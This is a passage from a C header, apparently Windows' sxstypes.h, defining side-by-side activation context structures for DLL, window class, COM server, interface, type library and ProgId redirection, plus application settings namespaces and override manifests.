462 | #define ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_OMITS_ASSEMBLY_ROOT (0x00000002)
463 | #define ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_EXPAND (0x00000004)
464 | #define ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SYSTEM_DEFAULT_REDIRECTED_SYSTEM32_DLL (0x00000008)
465 |
466 | typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION {
467 | ULONG Size;
468 | ULONG Flags;
469 | ULONG TotalPathLength; // bytewise length of concatenated segments only
470 | ULONG PathSegmentCount;
471 | ULONG PathSegmentOffset; // offset from section base header so that entries can share
472 | } ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION, *PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION;
473 |
474 | typedef const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION *PCACTIVATION_CONTEXT_DATA_DLL_REDIRECTION;
475 |
476 | typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT {
477 | ULONG Length; // in bytes
478 | ULONG Offset; // from section header so that individual entries can share
479 | } ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT, *PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT;
480 |
481 | typedef const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT *PCACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT;
482 |
483 | //
484 | // Leaf node structures for window class redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_WINDOW_CLASS_REDIRECTION)
485 | //
486 |
487 | #define ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION_FORMAT_WHISTLER (1)
488 |
489 | typedef struct _ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION {
490 | ULONG Size;
491 | ULONG Flags;
492 | ULONG VersionSpecificClassNameLength; // in bytes
493 | ULONG VersionSpecificClassNameOffset; // Offset from ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION base
494 | ULONG DllNameLength; // in bytes
495 | ULONG DllNameOffset; // Offset from section base because this can be shared across multiple entries
496 | } ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION, *PACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION;
497 |
498 | typedef const ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION *PCACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION;
499 |
500 | //
501 | // Leaf node structures for application settings section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_APPLICATION_SETTINGS)
502 | //
503 |
504 | #define ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS_FORMAT_LONGHORN (1)
505 |
506 | #define SXS_WINDOWS_SETTINGS_NAMESPACE L"http://schemas.microsoft.com/SMI/2005/WindowsSettings"
507 | #define SXS_WINDOWS_SETTINGS_NAMESPACE_CCH (53)
508 |
509 | #define SXS_WINDOWS_SETTINGS_2011_NAMESPACE L"http://schemas.microsoft.com/SMI/2011/WindowsSettings"
510 | #define SXS_WINDOWS_SETTINGS_2011_NAMESPACE_CCH (53)
511 |
512 | #define SXS_WINDOWS_SETTINGS_2013_NAMESPACE L"http://schemas.microsoft.com/SMI/2013/WindowsSettings"
513 | #define SXS_WINDOWS_SETTINGS_2013_NAMESPACE_CCH (53)
514 |
515 | #define SXS_WINDOWS_SETTINGS_2014_NAMESPACE L"http://schemas.microsoft.com/SMI/2014/WindowsSettings"
516 | #define SXS_WINDOWS_SETTINGS_2014_NAMESPACE_CCH (53)
517 |
518 | #define SXS_WINDOWS_SETTINGS_2016_NAMESPACE L"http://schemas.microsoft.com/SMI/2016/WindowsSettings"
519 | #define SXS_WINDOWS_SETTINGS_2016_NAMESPACE_CCH (53)
520 |
521 | #define SXS_WINDOWS_SETTINGS_2017_NAMESPACE L"http://schemas.microsoft.com/SMI/2017/WindowsSettings"
522 | #define SXS_WINDOWS_SETTINGS_2017_NAMESPACE_CCH (53)
523 |
524 | typedef struct _ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS {
525 | ULONG Size;
526 | ULONG Flags;
527 | ULONG SettingNamespaceLength; // in bytes
528 | ULONG SettingNamespaceOffset; // Offset from ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS base
529 | ULONG SettingNameLength; // in bytes
530 | ULONG SettingNameOffset;
531 | ULONG SettingValueLength; // in bytes
532 | ULONG SettingValueOffset;
533 | } ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS, *PACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS;
534 |
535 | typedef const ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS *PCACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS;
536 |
537 | //
538 | // Leaf node structures for COM activation redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_COM_SERVER_REDIRECTION)
539 | //
540 |
541 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_FORMAT_WHISTLER (1)
542 |
543 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_INVALID (0)
544 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_APARTMENT (1)
545 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_FREE (2)
546 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_SINGLE (3)
547 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_BOTH (4)
548 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_THREADING_MODEL_NEUTRAL (5)
549 |
550 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET (8)
551 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_DEFAULT (0x01 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET)
552 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_ICON (0x02 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET)
553 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_CONTENT (0x04 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET)
554 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_THUMBNAIL (0x08 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET)
555 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_HAS_DOCPRINT (0x10 << ACTIVATION_CONTEXT_DATA_COM_SERVER_MISCSTATUS_FLAG_OFFSET)
556 |
557 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION {
558 | ULONG Size;
559 | ULONG Flags;
560 | ULONG ThreadingModel;
561 | GUID ReferenceClsid;
562 | GUID ConfiguredClsid;
563 | GUID ImplementedClsid;
564 | GUID TypeLibraryId;
565 | ULONG ModuleLength; // in bytes
566 | ULONG ModuleOffset; // offset from section base because this can be shared across multiple entries
567 | ULONG ProgIdLength; // in bytes
568 | ULONG ProgIdOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION because this is never shared
569 | ULONG ShimDataLength; // in bytes
570 | ULONG ShimDataOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION because this is not shared
571 | ULONG MiscStatusDefault;
572 | ULONG MiscStatusContent;
573 | ULONG MiscStatusThumbnail;
574 | ULONG MiscStatusIcon;
575 | ULONG MiscStatusDocPrint;
576 | } ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION, *PACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION;
577 |
578 | typedef const ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION *PCACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION;
579 |
580 | //
581 | // ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM is a struct optionally hung
582 | // off an ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION that describes shimming.
583 | // The common use of a shim is a file that is not a PE that implements
584 | // DllGetClassObject(); instead some other DLL will use the path
585 | // to the file in question plus metadata (typename for managed code and Java)
586 | // to provide a COM object that implements the CLSID. Note that the file may not
587 | // even be a PE for things like scriptlets. Most shims will reference the
588 | // system registry for this metadata; Fusion-aware shims can use the information
589 | // here in the activation context.
590 | //
591 | // The format version of the ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION should
592 | // account for any format changes in the _SHIM struct here.
593 | //
594 |
595 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM_TYPE_OTHER (1)
596 | #define ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM_TYPE_CLR_CLASS (2)
597 |
598 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM {
599 | ULONG Size;
600 | ULONG Flags;
601 | ULONG Type;
602 | ULONG ModuleLength; // in bytes
603 | ULONG ModuleOffset; // offset from section base
604 | ULONG TypeLength; // in bytes
605 | ULONG TypeOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM
606 | ULONG ShimVersionLength; // in bytes
607 | ULONG ShimVersionOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM
608 | ULONG DataLength; // in bytes
609 | ULONG DataOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM
610 | } ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM, *PACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM;
611 |
612 | typedef const ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM *PCACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM;
613 |
614 | //
615 | // Leaf node structures for COM interface marshalling redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_COM_INTERFACE_REDIRECTION)
616 | //
617 |
618 | #define ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION_FORMAT_WHISTLER (1)
619 |
620 | #define ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION_FLAG_NUM_METHODS_VALID (0x00000001)
621 | #define ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION_FLAG_BASE_INTERFACE_VALID (0x00000002)
622 |
623 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION {
624 | ULONG Size;
625 | ULONG Flags;
626 | GUID ProxyStubClsid32;
627 | ULONG NumMethods;
628 | GUID TypeLibraryId;
629 | GUID BaseInterface;
630 | ULONG NameLength; // in bytes
631 | ULONG NameOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION because this is not shared
632 | } ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION, *PACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION;
633 |
634 | typedef const ACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION *PCACTIVATION_CONTEXT_DATA_COM_INTERFACE_REDIRECTION;
635 |
636 | //
637 | // Leaf node structures for COM type library redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_COM_TYPE_LIBRARY_REDIRECTION)
638 | //
639 |
640 | //
641 | // CLR interop goop
642 | //
643 | #define ACTIVATION_CONTEXT_DATA_CLR_SURROGATE_FORMAT_WHISTLER (1)
644 |
645 | typedef struct _ACTIVATION_CONTEXT_DATA_CLR_SURROGATE {
646 | ULONG Size;
647 | ULONG Flags;
648 | GUID SurrogateIdent;
649 | ULONG VersionOffset; // The version of runtime corresponding to this type
650 | ULONG VersionLength;
651 | ULONG TypeNameOffset; // Name of the type that implements this surrogate
652 | ULONG TypeNameLength;
653 | } ACTIVATION_CONTEXT_DATA_CLR_SURROGATE, *PACTIVATION_CONTEXT_DATA_CLR_SURROGATE;
654 |
655 | typedef const struct _ACTIVATION_CONTEXT_DATA_CLR_SURROGATE *PCACTIVATION_CONTEXT_DATA_CLR_SURROGATE;
656 |
657 |
658 |
659 |
660 | //
661 | //OLD
662 | //OLD The type library redirection section is keyed off a string composed of the type library GUID,
663 | //OLD the hexidecimal representation of the LCID for the tlb and the version number of the
664 | //OLD type library.
665 | //OLD
666 | //OLD e.g.
667 | //OLD
668 | //OLD "{0ECD9B60-23AA-11D0-B351-00A0C9055D8E}_en-us_6.0"
669 | //OLD
670 | //
671 | // The type library redirection section is keyed off of the type library guid.
672 | //
673 |
674 | #define ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_FORMAT_WHISTLER (1)
675 |
676 | typedef struct _ACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION
677 | {
678 | USHORT Major;
679 | USHORT Minor;
680 | } ACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION, *PACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION;
681 | typedef const ACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION* PCACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION;
682 |
683 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600 {
684 | ULONG Size;
685 | ULONG Flags;
686 | ULONG NameLength; // in bytes
687 | ULONG NameOffset; // offset from section header
688 | USHORT ResourceId; // Resource ID of type library resource in PE
689 | USHORT LibraryFlags; // flags, as defined by the LIBFLAGS enumeration in oaidl.h
690 | ULONG HelpDirLength; // in bytes
691 | ULONG HelpDirOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION
692 | } ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600, *PACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600;
693 |
694 | typedef const ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600 *PCACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION_2600;
695 |
696 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION {
697 | ULONG Size;
698 | ULONG Flags;
699 | ULONG NameLength; // in bytes
700 | ULONG NameOffset; // offset from section header
701 | USHORT ResourceId; // Resource ID of type library resource in PE
702 | USHORT LibraryFlags; // flags, as defined by the LIBFLAGS enumeration in oaidl.h
703 | ULONG HelpDirLength; // in bytes
704 | ULONG HelpDirOffset; // offset from ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION
705 | // 2600 stopped here.
706 | ACTIVATION_CONTEXT_DATA_TYPE_LIBRARY_VERSION Version;
707 | } ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION, *PACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION;
708 |
709 | typedef const ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION *PCACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION;
710 |
711 | //
712 | // Leaf node structures for COM ProgId redirection section (NULL Extension GUID, ACTIVATION_CONTEXT_SECTION_COM_PROGID_REDIRECTION)
713 | //
714 |
715 | #define ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION_FORMAT_WHISTLER (1)
716 |
717 | typedef struct _ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION {
718 | ULONG Size;
719 | ULONG Flags;
720 | ULONG ConfiguredClsidOffset; // offset from section header
721 | } ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION, *PACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION;
722 |
723 | typedef const ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION *PCACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION;
724 |
725 | typedef struct _SXS_OVERRIDE_MANIFEST {
726 | PCWSTR Name;
727 | PVOID Address;
728 | SIZE_T Size;
729 | } SXS_OVERRIDE_MANIFEST, *PSXS_OVERRIDE_MANIFEST;
730 | typedef const SXS_OVERRIDE_MANIFEST* PCSXS_OVERRIDE_MANIFEST;
731 |
732 | typedef struct _SXS_MANIFEST_STREAM {
733 | const IID* IIDStream;
734 | PVOID OutIStream;
735 | }SXS_MANIFEST_STREAM, *PSXS_MANIFEST_STREAM;
736 |
737 | #include "poppack.h"
738 |
739 | #if defined(__cplusplus)
740 | } /* extern "C" */
741 | #endif
742 |
743 | #endif /* _SXSTYPES_ */
744 |
--------------------------------------------------------------------------------